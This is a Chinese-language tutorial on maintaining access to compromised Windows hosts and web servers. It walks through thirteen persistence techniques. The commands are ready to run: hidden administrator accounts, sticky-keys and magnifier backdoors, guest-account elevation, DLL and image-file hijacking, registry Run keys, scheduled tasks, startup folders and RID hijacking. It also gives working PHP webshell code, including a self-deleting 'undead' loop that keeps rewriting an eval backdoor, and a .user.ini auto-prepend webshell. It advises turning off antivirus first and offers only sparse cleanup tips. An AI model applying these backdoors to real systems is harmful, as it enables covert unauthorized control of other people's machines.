Windows:后滲透之權限維持的13種方法
0x1 匿名用戶
net user administrator$ woaijiushi /add && net localgroup administrators administrator$ /add
PS:通過在用戶后面添加$符號的形式將用戶達到隱藏的效果。
可以通過注冊表或直接用戶管理刪除隱藏的用戶。
0x2 Shift 后門
- 將 C:\WINDOWS\system32\dllcache\sethc.exe 刪除,這個文件夾中放著緩存,如果不刪除就會自動變回去。
- 刪除 C:\WINDOWS\system32\ 下的 sethc.exe 文件。
- 重命名 C:\WINDOWS\system32\ 下的 cmd.exe 為 sethc.exe 。
- 按下 5下 shift 即可彈出管理權限的 DOS 窗口。

0x3 放大鏡后門
創建 magnify.bat
@echo off net user administrator$ woaijiushi /add net localgroup administrators hack$ /add %Windir%\system32\nagnify.exe exit
利用bat2com / com2exe,BatToEXE(圖形化工具)等工具把Bat文件轉換成exe文件,
bat2com magnify.bat #將magnify.bat轉換成magnify.com com2exe magnify.com # 將magnify.com轉換成magnify.exe
將生成的 magnify.exe 分別替換掉 C:\WINDOWS\system32\dllcache 下的 magnify.exe 和C:\WINDOWS\system32\ 下的 magnify.exe
登陸時通過組合鍵 Win+U 調用。
上述方法檢查及清除
檢查`“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option”`注冊表路徑中的程序名稱
其它適用于的輔助功能還有:
1. 屏幕鍵盤:C:\Windows\System32\osk.exe
2. 放大鏡:C:\Windows\System32\Magnify.exe
3. 旁白:C:\Windows\System32\Narrator.exe
4. 顯示開關:C:\Windows\System32\DisplaySwitch.exe
5. 應用程序開關:C:\Windows\System32\AtBroker.exe
PS:現在大部分的殺毒軟件都會監視注冊表項來防御這種惡意行為。
0x4 隱藏屬性后門文件
將木馬文件屬性改為“隱藏” ,偽裝成系統文件或數據庫文件等,修改時間跟系統文件時間類似。
0x5 PHP內存型木馬(不死馬)
創建 inc_data_config.php 文件
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('inc_data_config.php','<?php $a=array($_REQUEST["cmd"]=>"3");
$b=array_keys($a)[0];
eval($b);?>');
sleep(5);
}
?>
ignore_user_abort() 函數設置與客戶機斷開是否會終止腳本的執行。這里設置為true則忽略與用戶的斷開,即使與客戶機斷開腳本仍會執行。
set_time_limit() 函數設置腳本最大執行時間。這里設置為0,即沒有時間方面的限制。
unlink(__FILE__) 刪除文件本身,以起到隱蔽自身的作用。
此腳本會每5秒不斷的向服務器生成一個“inc_data_config.php”的一句話木馬。
清除腳本只需要重啟http服務。
0x6 .user.ini文件構成的PHP后門
指定一個文件,自動包含在要執行的文件前,類似于在文件前調用了require()函數。而auto_append_file類似,只是在文件后面包含。 使用方法很簡單,直接寫在.user.ini中:
auto_prepend_file=01.gif 我們可以借助.user.ini輕松讓所有php文件都“自動”包含某個文件,而這個文件可以是一個正常php文件,也可以是一個包含一句話的webshell
01.gif
<?php @eval($_GET['cmd']); ?> 直接訪問下面鏈接即可利用:
http://xxx.baidu.com/index.php?cmd=phpinfo();
0x7 使用已經禁用的guest賬戶進行登錄
控制面板\所有控制面板項\用戶帳戶\管理帳戶\啟用來賓帳戶
net user guest woaijiushi && net localgroup administrators guest /add net user guest /active:yes // 激活guest用戶
0x8 DLL 劫持
在加載DLL過程中,系統都是先在程序目錄加載DLL,如果沒有找到就按照規定的順序去搜索,但如果DLL的路徑沒有在system32中,攻擊者就有可能偽造一個dll被程序加載。
系統在使用DLL搜索順序取決于世否啟用安全的DLL搜索模式 。
PS:WindowsXP默認情況下禁用安全DLL搜索模式。之后默認啟用安全DLL搜索模式
若要使用此功能,需創建 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 注冊表值,0為禁止,1為啟用。
SafeDLLSearchMode啟用后,搜索順序如下:
1. 從其中加載應用程序的目錄、 2. 系統目錄。使用GetSystemDirectory函數獲取此目錄的路徑。 3. 16位系統目錄。沒有獲取此目錄的路徑的函數,但會搜索它。 4. Windows目錄。 使用GetWindowsDirectory函數獲取此目錄。 5. 當前目錄。 6. PATH環境變量中列出的目錄。
SafeDLLSearchMode禁用后,搜索順序如下:
1. 從其中加載應用程序的目錄 2. 當前目錄 3. 系統目錄。使用GetSystemDirectory函數獲取此目錄的路徑。 4. 16位系統目錄。沒有獲取此目錄的路徑的函數,但會搜索它。 5. Windows目錄。 使用GetWindowsDirectory函數獲取此目錄。 6. PATH環境變量中列出的目錄。
DLL劫持利用搜索順序來加載惡意DLL以代替合法DLL。如果應用程序使用Windows的DLL搜索來查找DLL,且攻擊者可以將同名DLL的順序置于比合法DLL更高的位置,則應用程序將加載惡意DLL。
可以用來劫持系統程序,也可以劫持用戶程序。劫持系統程序具有兼容性,劫持用戶程序則有針對性。結合本文的主題,這里選擇劫持系統程序。
可以劫持的dll有:
lpk.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll
以lpk.dll為列,explorer桌面程序的啟動需要加載lpk.dll,當進入桌面后lpk.dll便被加載了,劫持lpk.dll之后,每次啟動系統,自己的lpk.dll都會被加載,實現了持久化攻擊的效果。
0x9 注冊表開機自動啟動項
1. Load注冊鍵
HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows // 建一個字符串名為load鍵值
2. Winlogon\Userinit注冊鍵
找到“Userinit”這個鍵值,這個鍵值默認為c:\WINNT\system32\userinit.exe,后面加路徑,再加逗號也可以。這里也能夠使系統啟動時自動初始化程序。通常該注冊鍵下面有一個userinit.exe,但這個鍵允許指定用逗號分隔的多個程序,例如“userinit.exe,OSA.exe”(不含引號)。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
3. Explorer\Run注冊鍵
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
4. RunServicesOnce注冊鍵
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
5. 常用注冊鍵
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
測試部分成功執行。


0x10 計劃任務
schtasks /create /sc ONLOGON /tr C:\Windows\System32\cmd.exe /tn test
命令詳解:
schtasks /create <創建新的計劃任務> 參數: /sc schedule <schedule> ONLOGON 每當用戶(任意用戶)登錄的時候,任務就運行。可以指定日期,或在下次用戶登錄的時候運行任務。 /tr <TaskRun> 指定任務運行的程序或命令。鍵入可執行文件、腳本文件或批處理文件的完全合格的路徑和文件名; 如果忽略該路徑,SchTasks.exe 將假定文件在 Systemroot\System32 目錄下。 /tn <TaskName> 指定任務的名稱
關機重啟顯示效果

指定時間運行任務
schtasks /create /sc daily /st 00:00:00 /tr calc.exe /tn test1
參數詳解
/st StartTime 以 HH:MM:SS 24 小時格式指定時間。默認值是命令完成時的當前本地時間。
刪除計劃任務
schtasks /Delete /TN 任務名稱 /F
0x11 文件夾啟動
在每次開機或重啟的時候就會運行啟動文件夾下的程序。
C:\Users\ppbibo\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
0x12 映像劫持
在下面注冊表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ Image File Execution Options
在此路徑下創建一個子項,子項的名稱為你要劫持的 exe 名稱,比如說cmd.exe 然后創建一個值,值名為Debugger, 值為要執行的惡意腳本。

運行 cmd.exe 時執行成功運行 calc.exe
注意:這個會讓安全軟件攔截,所以要先退出殺軟。
0x13 RID 劫持
新建一個普通用戶 admin
在下面注冊表中
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
找到 admin 對于Windows系統來說,注冊表下包含當前系統的所有帳戶列表,每個帳戶的默認鍵值對應該帳戶詳細信息的注冊表位置(即RID的十六進制表示)

Tips:SAM下的注冊表選項需要獲得system權限才能讀取
查看 administrator 對應鍵值,數值名稱為F ,數值內容 0030 的位置復制到 admin 對應鍵值,數值名稱為F ,數值內容 0030 的位置。


點擊確定然后關機重啟,登陸 admin 用戶,效果圖如下:
